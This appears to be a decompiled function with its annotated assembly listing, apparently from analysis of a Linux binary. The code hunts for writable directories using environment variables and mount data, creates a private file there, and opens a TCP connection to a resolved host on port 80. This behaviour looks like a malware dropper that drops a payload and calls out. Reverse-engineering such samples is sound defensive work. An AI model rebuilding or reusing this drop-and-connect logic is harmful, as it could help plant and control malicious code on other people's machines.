/* WARNING: Removing unreachable block (ram,0x0040c0bd) */
/* WARNING: Removing unreachable block (ram,0x0040c0cb) */
/* WARNING: Removing unreachable block (ram,0x0040c0d5) */
/* WARNING: Removing unreachable block (ram,0x0040c0d8) */
/* WARNING: Removing unreachable block (ram,0x0040c0ee) */
/* WARNING: Removing unreachable block (ram,0x0040c107) */
/* WARNING: Removing unreachable block (ram,0x0040c111) */
/* WARNING: Removing unreachable block (ram,0x0040c11b) */
/* WARNING: Removing unreachable block (ram,0x0040c125) */
/* WARNING: Removing unreachable block (ram,0x0040c138) */
/* WARNING: Removing unreachable block (ram,0x0040c155) */
/* WARNING: Removing unreachable block (ram,0x0040c1b3) */
/* WARNING: Removing unreachable block (ram,0x0040c185) */
/* WARNING: Removing unreachable block (ram,0x0040c235) */
/* WARNING: Removing unreachable block (ram,0x0040c1b9) */
/* WARNING: Removing unreachable block (ram,0x0040be5a) */
/* WARNING: Removing unreachable block (ram,0x0040be61) */
/* WARNING: Removing unreachable block (ram,0x0040c23e) */
/* WARNING: Removing unreachable block (ram,0x0040c247) */

undefined4 FUN_0040b89c(undefined8 param_1,char *param_2)

{
  int *piVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  long lVar7;
  undefined1 *puVar8;
  undefined1 *puVar9;
  undefined1 *puVar10;
  undefined4 *puVar11;
  char *pcVar12;
  undefined4 *puVar13;
  char *pcVar14;
  undefined4 *puVar15;
  undefined4 *puVar16;
  byte bVar17;
  undefined1 auStack_433bc [64];
  char acStack_4337c [63];
  undefined1 uStack_4333d;
  undefined1 auStack_4333c [2];
  char cStack_4333a;
  undefined1 uStack_4323d;
  undefined1 auStack_4313c [4096];
  char acStack_4213c [4095];
  undefined1 uStack_4113d;
  undefined4 auStack_4013c [65603];
  
  bVar17 = 0;
  for (; *param_2 == '/'; param_2 = param_2 + 1) {
  }
  if ((*param_2 != '\0') && (iVar2 = FUN_0041c7c9(auStack_433bc,0x40,&DAT_00426e40), iVar2 < 0x40))
  {
    pcVar12 = "~\x01";
    do {
      lVar4 = FUN_0040b1d8(*(undefined4 *)pcVar12);
      if (((lVar4 != 0) && (pcVar5 = (char *)FUN_00417a9c(lVar4), pcVar5 != (char *)0x0)) &&
         (*pcVar5 == '/')) {
        iVar2 = FUN_0040b255(pcVar5);
        FUN_0040b581(auStack_4013c,pcVar5,iVar2 + 0x32);
      }
      pcVar12 = pcVar12 + 4;
    } while (pcVar12 != "x86_64");
    pcVar12 = (char *)FUN_00417a9c(&DAT_00426ea9);
    if ((pcVar12 != (char *)0x0) && (*pcVar12 == '/')) {
      iVar2 = FUN_0040b255(pcVar12);
      FUN_0040b581(auStack_4013c,pcVar12,iVar2 + 0x32);
    }
    lVar4 = FUN_0040b1d8(0x15a);
    if (lVar4 != 0) {
      FUN_0040b581(auStack_4013c,lVar4,100);
    }
    lVar4 = FUN_0040b1d8(0x15b);
    lVar6 = FUN_0040b1d8(0x15a);
    pcVar12 = (char *)FUN_0040b22d();
    if ((((lVar4 != 0) && (pcVar5 = (char *)FUN_00417a9c(lVar4), pcVar5 != (char *)0x0)) &&
        ((*pcVar5 == '/' && ((pcVar12 != (char *)0x0 && (*pcVar12 != '\0')))))) &&
       ((lVar6 == 0 || (iVar2 = FUN_0041ce60(pcVar5,lVar6), iVar2 != 0)))) {
      lVar6 = FUN_0041cf00(pcVar5);
      lVar7 = FUN_0041cf00(pcVar12);
      lVar4 = lVar6 + lVar7;
      if (lVar4 + 1U < 0x1001) {
        pcVar14 = acStack_4213c;
        for (; lVar6 != 0; lVar6 = lVar6 + -1) {
          *pcVar14 = *pcVar5;
          pcVar5 = pcVar5 + (ulong)bVar17 * -2 + 1;
          pcVar14 = pcVar14 + (ulong)bVar17 * -2 + 1;
        }
        for (; lVar7 != 0; lVar7 = lVar7 + -1) {
          *pcVar14 = *pcVar12;
          pcVar12 = pcVar12 + (ulong)bVar17 * -2 + 1;
          pcVar14 = pcVar14 + (ulong)bVar17 * -2 + 1;
        }
        acStack_4213c[lVar4] = '\0';
        FUN_0040b581(auStack_4013c,acStack_4213c,0x5f);
      }
    }
    lVar4 = FUN_0040cf8f();
    if (lVar4 != 0) {
      FUN_0041d050(acStack_4213c,lVar4,0xfff);
      uStack_4113d = 0;
      thunk_FUN_004183e7(lVar4);
      pcVar12 = (char *)FUN_0041d090(acStack_4213c,0x2f);
      if (pcVar12 != (char *)0x0) {
        if (pcVar12 == acStack_4213c) {
          FUN_0041d050(acStack_4213c,&DAT_00424e60,0xfff);
        }
        else {
          *pcVar12 = '\0';
        }
        iVar2 = FUN_0040b255(acStack_4213c);
        FUN_0040b581(auStack_4013c,acStack_4213c,iVar2 + 0x2d);
      }
    }
    lVar4 = FUN_0040b1d8(0x15d);
    if ((lVar4 != 0) && (lVar4 = FUN_0041c633(lVar4,&DAT_00424f7e), lVar4 != 0)) {
LAB_0040bb20:
      lVar6 = FUN_0041c4d7(auStack_4313c,0x400,lVar4);
      if (lVar6 != 0) {
        puVar8 = (undefined1 *)FUN_0041cd50(auStack_4313c,0x20);
        if (puVar8 != (undefined1 *)0x0) {
          *puVar8 = 0;
          puVar9 = (undefined1 *)FUN_0041cd50(puVar8 + 1,0x20);
          if (puVar9 != (undefined1 *)0x0) {
            *puVar9 = 0;
            puVar10 = (undefined1 *)FUN_0041cd50(puVar9 + 1,0x20);
            if (puVar10 != (undefined1 *)0x0) {
              *puVar10 = 0;
              FUN_0041d050(acStack_4213c,puVar8 + 1,0xfff);
              uStack_4113d = 0;
              FUN_0041d050(acStack_4337c,puVar9 + 1,0x3f);
              uStack_4333d = 0;
              FUN_0041d050(auStack_4333c,puVar10 + 1,0xff);
              uStack_4323d = 0;
              puVar8 = (undefined1 *)FUN_0041cd50(auStack_4333c,10);
              if (puVar8 != (undefined1 *)0x0) {
                *puVar8 = 0;
              }
              puVar8 = (undefined1 *)FUN_0041cd50(auStack_4333c,0x20);
              if (puVar8 != (undefined1 *)0x0) {
                *puVar8 = 0;
              }
              if (((acStack_4337c[0] != '\0') &&
                  (iVar2 = FUN_0041ce60(acStack_4337c,&DAT_00426ea4), iVar2 != 0)) &&
                 (iVar2 = FUN_0041ce60(acStack_4337c,&DAT_00426ea0), iVar2 != 0)) {
                puVar16 = &DAT_00426e60;
                do {
                  iVar2 = FUN_0040b20e(*puVar16,acStack_4337c);
                  if (iVar2 != 0) goto LAB_0040bb20;
                  puVar16 = puVar16 + 1;
                } while (puVar16 != (undefined4 *)&DAT_00426ea0);
                if (((acStack_4213c[0] != '\0') &&
                    (iVar2 = FUN_0040b20e(0x15e,acStack_4213c), iVar2 == 0)) &&
                   ((iVar2 = FUN_0040b20e(0x162,acStack_4213c), iVar2 == 0 &&
                    (iVar2 = FUN_0040b20e(0x163,acStack_4213c), iVar2 == 0)))) {
                  lVar6 = FUN_0040b1d8(0x169);
                  lVar7 = FUN_0040b1d8(0x16a);
                  pcVar12 = (char *)FUN_0040b1d8(0x16b);
                  if (((lVar6 == 0) || (lVar6 = FUN_0041d540(auStack_4333c), lVar6 == 0)) &&
                     ((lVar7 == 0 || (lVar6 = FUN_0041d540(auStack_4333c,lVar7), lVar6 == 0)))) {
                    if ((pcVar12 != (char *)0x0) && (*pcVar12 == ',')) {
                      iVar2 = FUN_0041ce60(auStack_4333c,pcVar12 + 1);
                      if ((iVar2 == 0) ||
                         ((iVar2 = FUN_0041cfd0(auStack_4333c,pcVar12 + 1,2), iVar2 == 0 &&
                          (cStack_4333a == ',')))) goto LAB_0040bb20;
                    }
                    lVar6 = FUN_0041d540(auStack_4333c,&DAT_00426e44);
                    if ((lVar6 != 0) ||
                       ((((lVar6 = FUN_0041d540(auStack_4333c,&DAT_00426e48), lVar6 != 0 ||
                          (iVar2 = FUN_0041cfd0(auStack_4333c,&DAT_00426e48,3), iVar2 == 0)) ||
                         (pcVar12 == (char *)0x0)) ||
                        ((*pcVar12 != ',' ||
                         (lVar6 = FUN_0041d540(auStack_4333c,pcVar12 + 1), lVar6 == 0)))))) {
                      iVar2 = FUN_0040b20e(0x17d,acStack_4337c);
                      iVar3 = FUN_0040b255(acStack_4213c);
                      FUN_0040b581(auStack_4013c,acStack_4213c,
                                   iVar3 + (-(uint)(iVar2 == 0) & 0xffffffce) + 0x50);
                    }
                  }
                }
              }
            }
          }
        }
        goto LAB_0040bb20;
      }
      FUN_0041c306(lVar4);
    }
    puVar16 = auStack_4013c;
    iVar2 = 0;
    while (iVar2 < -1) {
      iVar2 = iVar2 + 1;
      puVar11 = puVar16;
      for (iVar3 = iVar2; iVar3 != 0; iVar3 = iVar3 + 1) {
        piVar1 = puVar11 + 0x801;
        puVar11 = puVar11 + 0x401;
        if ((int)puVar16[0x400] < *piVar1) {
          puVar13 = puVar16;
          pcVar12 = acStack_4213c;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *(undefined4 *)pcVar12 = *puVar13;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
            pcVar12 = pcVar12 + ((ulong)bVar17 * -2 + 1) * 4;
          }
          puVar13 = puVar11;
          puVar15 = puVar16;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *puVar15 = *puVar13;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
            puVar15 = puVar15 + (ulong)bVar17 * -2 + 1;
          }
          pcVar12 = acStack_4213c;
          puVar13 = puVar11;
          for (lVar4 = 0x401; lVar4 != 0; lVar4 = lVar4 + -1) {
            *puVar13 = *(undefined4 *)pcVar12;
            pcVar12 = pcVar12 + ((ulong)bVar17 * -2 + 1) * 4;
            puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
          }
        }
      }
      puVar16 = puVar16 + 0x401;
    }
  }
  return 0xffffffff;
}

Assembly · 726 instructions, 2 annotated, 1 cited
AddressBytesInstructionComment
0040b89c41 57PUSH R15; E13
0040b89e48 89 f1MOV RCX,RSI
0040b8a141 56PUSH R14
0040b8a341 55PUSH R13
0040b8a541 54PUSH R12
0040b8a755PUSH RBP
0040b8a853PUSH RBX
0040b8a948 81 ec d8 33 04 00SUB RSP,0x433d8
0040b8b048 89 7c 24 28MOV qword ptr [RSP + 0x28],RDI
0040b8b548 89 74 24 30MOV qword ptr [RSP + 0x30],RSI
0040b8ba48 89 14 24MOV qword ptr [RSP],RDX
LAB_0040b8be:
0040b8be8a 01MOV AL,byte ptr [RCX]
0040b8c03c 2fCMP AL,0x2f
0040b8c275 05JNZ LAB_0040b8c9
0040b8c448 ff c1INC RCX
0040b8c7eb f5JMP LAB_0040b8be
LAB_0040b8c9:
0040b8c984 c0TEST AL,AL
0040b8cb75 0dJNZ LAB_0040b8da
LAB_0040b8cd:
0040b8cdc7 44 24 20 ff ff ff ffMOV dword ptr [RSP + 0x20],0xffffffff
0040b8d5e9 f9 0a 00 00JMP LAB_0040c3d3
LAB_0040b8da:
0040b8da31 c0XOR EAX,EAX
0040b8dc48 8d 7c 24 4cLEA RDI,[RSP + 0x4c]
0040b8e1be 40 00 00 00MOV ESI,0x40
0040b8e648 8d 15 53 b5 01 00LEA RDX,[DAT_00426e40]
0040b8ede8 d7 0e 01 00CALL FUN_0041c7c9
0040b8f283 f8 3fCMP EAX,0x3f
0040b8f57f d6JG LAB_0040b8cd
0040b8f748 8d 1d b2 b5 01 00LEA RBX,[DAT_00426eb0]
0040b8fe4c 8d a4 24 cc 32 00 00LEA R12,[RSP + 0x32cc]
0040b906c7 84 24 cc 33 04 00 00 …MOV dword ptr [RSP + local_3c],0x0
0040b91148 8d 6b 14LEA RBP,[RBX + 0x14]; "x86_64"
LAB_0040b915:
0040b9158b 3bMOV EDI,dword ptr [RBX]
0040b917e8 bc f8 ff ffCALL FUN_0040b1d8
0040b91c48 89 c7MOV RDI,RAX
0040b91f48 85 c0TEST RAX,RAX
0040b92274 28JZ LAB_0040b94c
0040b924e8 73 c1 00 00CALL FUN_00417a9c
0040b92949 89 c5MOV R13,RAX
0040b92c48 85 c0TEST RAX,RAX
0040b92f74 1bJZ LAB_0040b94c
0040b93180 38 2fCMP byte ptr [RAX],0x2f
0040b93475 16JNZ LAB_0040b94c
0040b93648 89 c7MOV RDI,RAX
0040b939e8 17 f9 ff ffCALL FUN_0040b255
0040b93e4c 89 eeMOV RSI,R13
0040b9414c 89 e7MOV RDI,R12
0040b9448d 50 32LEA EDX,[RAX + 0x32]
0040b947e8 35 fc ff ffCALL FUN_0040b581
LAB_0040b94c:
0040b94c48 83 c3 04ADD RBX,0x4
0040b95048 39 ddCMP RBP,RBX
0040b95375 c0JNZ LAB_0040b915
0040b95548 8d 3d 4d b5 01 00LEA RDI,[DAT_00426ea9]
0040b95ce8 3b c1 00 00CALL FUN_00417a9c
0040b96148 89 c5MOV RBP,RAX
0040b96448 85 c0TEST RAX,RAX
0040b96774 20JZ LAB_0040b989
0040b96980 38 2fCMP byte ptr [RAX],0x2f
0040b96c75 1bJNZ LAB_0040b989
0040b96e48 89 c7MOV RDI,RAX
0040b971e8 df f8 ff ffCALL FUN_0040b255
0040b97648 8d bc 24 cc 32 00 00LEA RDI,[RSP + 0x32cc]
0040b97e48 89 eeMOV RSI,RBP
0040b9818d 50 32LEA EDX,[RAX + 0x32]
0040b984e8 f8 fb ff ffCALL FUN_0040b581
LAB_0040b989:
0040b989bf 5a 01 00 00MOV EDI,0x15a
0040b98ee8 45 f8 ff ffCALL FUN_0040b1d8
0040b99348 89 c6MOV RSI,RAX
0040b99648 85 c0TEST RAX,RAX
0040b99974 12JZ LAB_0040b9ad
0040b99b48 8d bc 24 cc 32 00 00LEA RDI,[RSP + 0x32cc]
0040b9a3ba 64 00 00 00MOV EDX,0x64
0040b9a8e8 d4 fb ff ffCALL FUN_0040b581
LAB_0040b9ad:
0040b9adbf 5b 01 00 00MOV EDI,0x15b
0040b9b2e8 21 f8 ff ffCALL FUN_0040b1d8
0040b9b7bf 5a 01 00 00MOV EDI,0x15a
0040b9bc48 89 c5MOV RBP,RAX
0040b9bfe8 14 f8 ff ffCALL FUN_0040b1d8
0040b9c449 89 c5MOV R13,RAX
0040b9c7e8 61 f8 ff ffCALL FUN_0040b22d
0040b9cc49 89 c4MOV R12,RAX
0040b9cf48 85 edTEST RBP,RBP
0040b9d20f 84 98 00 00 00JZ LAB_0040ba70
0040b9d848 89 efMOV RDI,RBP
0040b9dbe8 bc c0 00 00CALL FUN_00417a9c
0040b9e048 89 c5MOV RBP,RAX
0040b9e348 85 c0TEST RAX,RAX
0040b9e60f 84 84 00 00 00JZ LAB_0040ba70
0040b9ec80 38 2fCMP byte ptr [RAX],0x2f
0040b9ef75 7fJNZ LAB_0040ba70
0040b9f14d 85 e4TEST R12,R12
0040b9f474 7aJZ LAB_0040ba70
0040b9f641 80 3c 24 00CMP byte ptr [R12],0x0
0040b9fb74 73JZ LAB_0040ba70
0040b9fd4d 85 edTEST R13,R13
0040ba0074 0fJZ LAB_0040ba11
0040ba024c 89 eeMOV RSI,R13
0040ba0548 89 c7MOV RDI,RAX
0040ba08e8 53 14 01 00CALL FUN_0041ce60
0040ba0d85 c0TEST EAX,EAX
0040ba0f74 5fJZ LAB_0040ba70
LAB_0040ba11:
0040ba1148 89 efMOV RDI,RBP
0040ba14e8 e7 14 01 00CALL FUN_0041cf00
0040ba194c 89 e7MOV RDI,R12
0040ba1c48 89 c3MOV RBX,RAX
0040ba1fe8 dc 14 01 00CALL FUN_0041cf00
0040ba2448 89 c2MOV RDX,RAX
0040ba2748 8d 04 03LEA RAX,[RBX + RAX*0x1]
0040ba2b48 8d 48 01LEA RCX,[RAX + 0x1]
0040ba2f48 81 f9 00 10 00 00CMP RCX,0x1000
0040ba3677 38JA LAB_0040ba70
0040ba384c 8d 84 24 cc 12 00 00LEA R8,[RSP + 0x12cc]
0040ba4048 89 eeMOV RSI,RBP
0040ba4348 89 d9MOV RCX,RBX
0040ba464c 89 c7MOV RDI,R8
0040ba49f3 a4MOVSB.REP RDI,RSI
0040ba4b48 89 d1MOV RCX,RDX
0040ba4e4c 89 e6MOV RSI,R12
0040ba51ba 5f 00 00 00MOV EDX,0x5f
0040ba56f3 a4MOVSB.REP RDI,RSI
0040ba5848 8d bc 24 cc 32 00 00LEA RDI,[RSP + 0x32cc]
0040ba604c 89 c6MOV RSI,R8
0040ba63c6 84 04 cc 12 00 00 00MOV byte ptr [RSP + RAX*0x1 + 0x12cc],0x0
0040ba6be8 11 fb ff ffCALL FUN_0040b581
LAB_0040ba70:
0040ba7031 c0XOR EAX,EAX
0040ba72e8 18 15 00 00CALL FUN_0040cf8f
0040ba7749 89 c4MOV R12,RAX
0040ba7a48 85 c0TEST RAX,RAX
0040ba7d74 73JZ LAB_0040baf2
0040ba7f48 8d ac 24 cc 12 00 00LEA RBP,[RSP + 0x12cc]
0040ba8748 89 c6MOV RSI,RAX
0040ba8aba ff 0f 00 00MOV EDX,0xfff
0040ba8f48 89 efMOV RDI,RBP
0040ba92e8 b9 15 01 00CALL FUN_0041d050
0040ba974c 89 e7MOV RDI,R12
0040ba9ac6 84 24 cb 22 00 00 00MOV byte ptr [RSP + 0x22cb],0x0
0040baa2e8 59 c5 00 00CALL thunk_FUN_004183e7
0040baa7be 2f 00 00 00MOV ESI,0x2f
0040baac48 89 efMOV RDI,RBP
0040baafe8 dc 15 01 00CALL FUN_0041d090
0040bab448 85 c0TEST RAX,RAX
0040bab774 39JZ LAB_0040baf2
0040bab948 39 e8CMP RAX,RBP
0040babc75 16JNZ LAB_0040bad4
0040babeba ff 0f 00 00MOV EDX,0xfff
0040bac348 8d 35 96 93 01 00LEA RSI,[DAT_00424e60]
0040baca48 89 efMOV RDI,RBP
0040bacde8 7e 15 01 00CALL FUN_0041d050
0040bad2eb 03JMP LAB_0040bad7
LAB_0040bad4:
0040bad4c6 00 00MOV byte ptr [RAX],0x0
LAB_0040bad7:
0040bad748 89 efMOV RDI,RBP
0040badae8 76 f7 ff ffCALL FUN_0040b255
0040badf48 8d bc 24 cc 32 00 00LEA RDI,[RSP + 0x32cc]
0040bae748 89 eeMOV RSI,RBP
0040baea8d 50 2dLEA EDX,[RAX + 0x2d]
0040baede8 8f fa ff ffCALL FUN_0040b581
LAB_0040baf2:
0040baf2bf 5d 01 00 00MOV EDI,0x15d
0040baf7e8 dc f6 ff ffCALL FUN_0040b1d8
0040bafc48 89 c7MOV RDI,RAX
0040baff48 85 c0TEST RAX,RAX
0040bb020f 84 7e 01 00 00JZ LAB_0040bc86
0040bb0848 8d 35 6f 94 01 00LEA RSI,[DAT_00424f7e]
0040bb0fe8 1f 0b 01 00CALL FUN_0041c633
0040bb1449 89 c5MOV R13,RAX
0040bb1748 85 c0TEST RAX,RAX
0040bb1a0f 84 66 01 00 00JZ LAB_0040bc86
LAB_0040bb20:
0040bb2048 8d ac 24 cc 02 00 00LEA RBP,[RSP + 0x2cc]
0040bb284c 89 eaMOV RDX,R13
0040bb2bbe 00 04 00 00MOV ESI,0x400
0040bb3048 89 efMOV RDI,RBP
0040bb33e8 9f 09 01 00CALL FUN_0041c4d7
0040bb3848 85 c0TEST RAX,RAX
0040bb3b0f 84 3d 01 00 00JZ LAB_0040bc7e
0040bb41be 20 00 00 00MOV ESI,0x20
0040bb4648 89 efMOV RDI,RBP
0040bb49e8 02 12 01 00CALL FUN_0041cd50
0040bb4e48 85 c0TEST RAX,RAX
0040bb5174 cdJZ LAB_0040bb20
0040bb53c6 00 00MOV byte ptr [RAX],0x0
0040bb564c 8d 70 01LEA R14,[RAX + 0x1]
0040bb5abe 20 00 00 00MOV ESI,0x20
0040bb5f4c 89 f7MOV RDI,R14
0040bb62e8 e9 11 01 00CALL FUN_0041cd50
0040bb6748 85 c0TEST RAX,RAX
0040bb6a74 b4JZ LAB_0040bb20
0040bb6cc6 00 00MOV byte ptr [RAX],0x0
0040bb6f48 8d 68 01LEA RBP,[RAX + 0x1]
0040bb73be 20 00 00 00MOV ESI,0x20
0040bb7848 89 efMOV RDI,RBP
0040bb7be8 d0 11 01 00CALL FUN_0041cd50
0040bb8048 89 c3MOV RBX,RAX
0040bb8348 85 c0TEST RAX,RAX
0040bb8674 98JZ LAB_0040bb20
0040bb88c6 00 00MOV byte ptr [RAX],0x0
0040bb8b4c 8d a4 24 cc 12 00 00LEA R12,[RSP + 0x12cc]
0040bb934c 89 f6MOV RSI,R14
0040bb96ba ff 0f 00 00MOV EDX,0xfff
0040bb9b4c 89 e7MOV RDI,R12
0040bb9e4c 8d b4 24 8c 00 00 00LEA R14,[RSP + 0x8c]
0040bba6e8 a5 14 01 00CALL FUN_0041d050
0040bbab48 89 eeMOV RSI,RBP
0040bbaeba 3f 00 00 00MOV EDX,0x3f
0040bbb34c 89 f7MOV RDI,R14
0040bbb648 8d ac 24 cc 00 00 00LEA RBP,[RSP + 0xcc]
0040bbbec6 84 24 cb 22 00 00 00MOV byte ptr [RSP + 0x22cb],0x0
0040bbc6e8 85 14 01 00CALL FUN_0041d050
0040bbcb48 8d 73 01LEA RSI,[RBX + 0x1]
0040bbcf48 89 efMOV RDI,RBP
0040bbd2ba ff 00 00 00MOV EDX,0xff
0040bbd7c6 84 24 cb 00 00 00 00MOV byte ptr [RSP + 0xcb],0x0
0040bbdfe8 6c 14 01 00CALL FUN_0041d050
0040bbe4be 0a 00 00 00MOV ESI,0xa
0040bbe948 89 efMOV RDI,RBP
0040bbecc6 84 24 cb 01 00 00 00MOV byte ptr [RSP + 0x1cb],0x0
0040bbf4e8 57 11 01 00CALL FUN_0041cd50
0040bbf948 85 c0TEST RAX,RAX
0040bbfc74 03JZ LAB_0040bc01
0040bbfec6 00 00MOV byte ptr [RAX],0x0
LAB_0040bc01:
0040bc01be 20 00 00 00MOV ESI,0x20
0040bc0648 89 efMOV RDI,RBP
0040bc09e8 42 11 01 00CALL FUN_0041cd50
0040bc0e48 85 c0TEST RAX,RAX
0040bc1174 03JZ LAB_0040bc16
0040bc13c6 00 00MOV byte ptr [RAX],0x0
LAB_0040bc16:
0040bc1680 bc 24 8c 00 00 00 00CMP byte ptr [RSP + 0x8c],0x0
0040bc1e0f 84 fc fe ff ffJZ LAB_0040bb20
0040bc2448 8d 35 79 b2 01 00LEA RSI,[DAT_00426ea4]
0040bc2b4c 89 f7MOV RDI,R14
0040bc2ee8 2d 12 01 00CALL FUN_0041ce60
0040bc3385 c0TEST EAX,EAX
0040bc350f 84 e5 fe ff ffJZ LAB_0040bb20
0040bc3b48 8d 35 5e b2 01 00LEA RSI,[DAT_00426ea0]
0040bc424c 89 f7MOV RDI,R14
0040bc45e8 16 12 01 00CALL FUN_0041ce60
0040bc4a85 c0TEST EAX,EAX
0040bc4c0f 84 ce fe ff ffJZ LAB_0040bb20
0040bc524c 8d 3d 07 b2 01 00LEA R15,[DAT_00426e60]
0040bc5949 8d 5f 40LEA RBX,[R15 + 0x40]
LAB_0040bc5d:
0040bc5d41 8b 3fMOV EDI,dword ptr [R15]
0040bc604c 89 f6MOV RSI,R14
0040bc63e8 a6 f5 ff ffCALL FUN_0040b20e
0040bc6885 c0TEST EAX,EAX
0040bc6a0f 85 b0 fe ff ffJNZ LAB_0040bb20
0040bc7049 83 c7 04ADD R15,0x4
0040bc744c 39 fbCMP RBX,R15
0040bc7775 e4JNZ LAB_0040bc5d
0040bc79e9 d9 05 00 00JMP LAB_0040c257
LAB_0040bc7e:
0040bc7e4c 89 efMOV RDI,R13
0040bc81e8 80 06 01 00CALL FUN_0041c306
LAB_0040bc86:
0040bc864c 8d bc 24 cc 32 00 00LEA R15,[RSP + 0x32cc]
0040bc8e45 31 c0XOR R8D,R8D
0040bc914c 89 faMOV RDX,R15
LAB_0040bc94:
0040bc9444 8b 8c 24 cc 33 04 00MOV R9D,dword ptr [RSP + local_3c]
0040bc9c41 8d 41 ffLEA EAX,[R9 + -0x1]
0040bca041 39 c0CMP R8D,EAX
0040bca37d 62JGE LAB_0040bd07
0040bca541 ff c0INC R8D
0040bca848 89 d0MOV RAX,RDX
0040bcab45 89 c2MOV R10D,R8D
LAB_0040bcae:
0040bcae45 39 caCMP R10D,R9D
0040bcb174 4bJZ LAB_0040bcfe
0040bcb38b 9a 00 10 00 00MOV EBX,dword ptr [RDX + 0x1000]
0040bcb939 98 04 20 00 00CMP dword ptr [RAX + 0x2004],EBX
0040bcbf48 8d 80 04 10 00 00LEA RAX,[RAX + 0x1004]
0040bcc67e 31JLE LAB_0040bcf9
0040bcc848 8d bc 24 cc 12 00 00LEA RDI,[RSP + 0x12cc]
0040bcd0b9 01 04 00 00MOV ECX,0x401
0040bcd548 89 d6MOV RSI,RDX
0040bcd8f3 a5MOVSD.REP RDI,RSI
0040bcdab9 01 04 00 00MOV ECX,0x401
0040bcdf48 89 d7MOV RDI,RDX
0040bce248 89 c6MOV RSI,RAX
0040bce5f3 a5MOVSD.REP RDI,RSI
0040bce748 8d b4 24 cc 12 00 00LEA RSI,[RSP + 0x12cc]
0040bcefb9 01 04 00 00MOV ECX,0x401
0040bcf448 89 c7MOV RDI,RAX
0040bcf7f3 a5MOVSD.REP RDI,RSI
LAB_0040bcf9:
0040bcf941 ff c2INC R10D
0040bcfceb b0JMP LAB_0040bcae
LAB_0040bcfe:
0040bcfe48 81 c2 04 10 00 00ADD RDX,0x1004
0040bd05eb 8dJMP LAB_0040bc94
LAB_0040bd07:
0040bd0745 85 c9TEST R9D,R9D
0040bd0a0f 84 bd fb ff ffJZ LAB_0040b8cd
0040bd10c7 44 24 24 00 00 00 00MOV dword ptr [RSP + 0x24],0x0
LAB_0040bd18:
0040bd188b 44 24 24MOV EAX,dword ptr [RSP + 0x24]
0040bd1c3b 84 24 cc 33 04 00CMP EAX,dword ptr [RSP + local_3c]
0040bd230f 8d a4 fb ff ffJGE LAB_0040b8cd
0040bd2941 80 3f 00CMP byte ptr [R15],0x0
0040bd2d0f 84 14 05 00 00JZ LAB_0040c247
0040bd334c 89 ffMOV RDI,R15
0040bd36e8 c5 11 01 00CALL FUN_0041cf00
0040bd3bbf 6c 01 00 00MOV EDI,0x16c
0040bd4048 89 c3MOV RBX,RAX
0040bd43e8 90 f4 ff ffCALL FUN_0040b1d8
0040bd4849 89 c4MOV R12,RAX
0040bd4b48 85 c0TEST RAX,RAX
0040bd4e0f 84 f3 04 00 00JZ LAB_0040c247
0040bd5448 89 c7MOV RDI,RAX
0040bd57e8 a4 11 01 00CALL FUN_0041cf00
0040bd5c48 8d 44 03 01LEA RAX,[RBX + RAX*0x1 + 0x1]
0040bd6148 3d ff 0f 00 00CMP RAX,0xfff
0040bd670f 87 da 04 00 00JA LAB_0040c247
0040bd6dbe 02 00 00 00MOV ESI,0x2
0040bd724c 89 ffMOV RDI,R15
0040bd75e8 a0 1d 01 00CALL FUN_0041db1a
0040bd7a85 c0TEST EAX,EAX
0040bd7c0f 85 c5 04 00 00JNZ LAB_0040c247
0040bd8248 8d ac 24 cc 12 00 00LEA RBP,[RSP + 0x12cc]
0040bd8a4c 89 e2MOV RDX,R12
0040bd8d4c 89 feMOV RSI,R15
0040bd9048 89 efMOV RDI,RBP
0040bd93e8 75 fa ff ffCALL FUN_0040b80d
0040bd9885 c0TEST EAX,EAX
0040bd9a0f 85 a7 04 00 00JNZ LAB_0040c247
0040bda048 89 efMOV RDI,RBP
0040bda3ba 80 01 00 00MOV EDX,0x180
0040bda8be c1 02 00 00MOV ESI,0x2c1
0040bdade8 13 c0 00 00CALL FUN_00417dc5
0040bdb289 c7MOV EDI,EAX
0040bdb485 c0TEST EAX,EAX
0040bdb60f 88 8b 04 00 00JS LAB_0040c247
0040bdbce8 80 1d 01 00CALL FUN_0041db41
0040bdc148 89 efMOV RDI,RBP
0040bdc4e8 ca 1f 01 00CALL FUN_0041dd93
0040bdc948 8b 54 24 30MOV RDX,qword ptr [RSP + 0x30]
0040bdce48 8b 3c 24MOV RDI,qword ptr [RSP]
0040bdd24c 89 feMOV RSI,R15
0040bdd5e8 33 fa ff ffCALL FUN_0040b80d
0040bdda85 c0TEST EAX,EAX
0040bddc0f 85 65 04 00 00JNZ LAB_0040c247
0040bde248 8b 7c 24 28MOV RDI,qword ptr [RSP + 0x28]
0040bde7e8 b5 85 00 00CALL FUN_004143a1
0040bdec49 89 c4MOV R12,RAX
0040bdef48 85 c0TEST RAX,RAX
0040bdf20f 84 46 04 00 00JZ LAB_0040c23e
0040bdf880 38 00CMP byte ptr [RAX],0x0
0040bdfb74 64JZ LAB_0040be61
0040bdfd31 d2XOR EDX,EDX
0040bdffbe 01 00 00 00MOV ESI,0x1
0040be04bf 02 00 00 00MOV EDI,0x2
0040be09e8 f5 fd 00 00CALL FUN_0041bc03
0040be0e89 c5MOV EBP,EAX
0040be1085 c0TEST EAX,EAX
0040be1278 4dJS LAB_0040be61
0040be1466 c7 84 24 8c 00 00 00 …MOV word ptr [RSP + 0x8c],0x2
0040be1ebf 50 00 00 00MOV EDI,0x50
0040be23e8 e5 dc 00 00CALL FUN_00419b0d
0040be2848 8d b4 24 8c 00 00 00LEA RSI,[RSP + 0x8c]
0040be30ba 10 00 00 00MOV EDX,0x10
0040be3589 efMOV EDI,EBP
0040be3766 89 84 24 8e 00 00 00MOV word ptr [RSP + 0x8e],AX
0040be3f49 8b 44 24 08MOV RAX,qword ptr [R12 + 0x8]
0040be448b 00MOV EAX,dword ptr [RAX]
0040be4689 84 24 90 00 00 00MOV dword ptr [RSP + 0x90],EAX
0040be4de8 37 d8 00 00CALL FUN_00419689
0040be5289 44 24 20MOV dword ptr [RSP + 0x20],EAX
0040be5685 c0TEST EAX,EAX
0040be5874 14JZ LAB_0040be6e
0040be5a89 efMOV EDI,EBP
0040be5ce8 e0 1c 01 00CALL FUN_0041db41
LAB_0040be61:
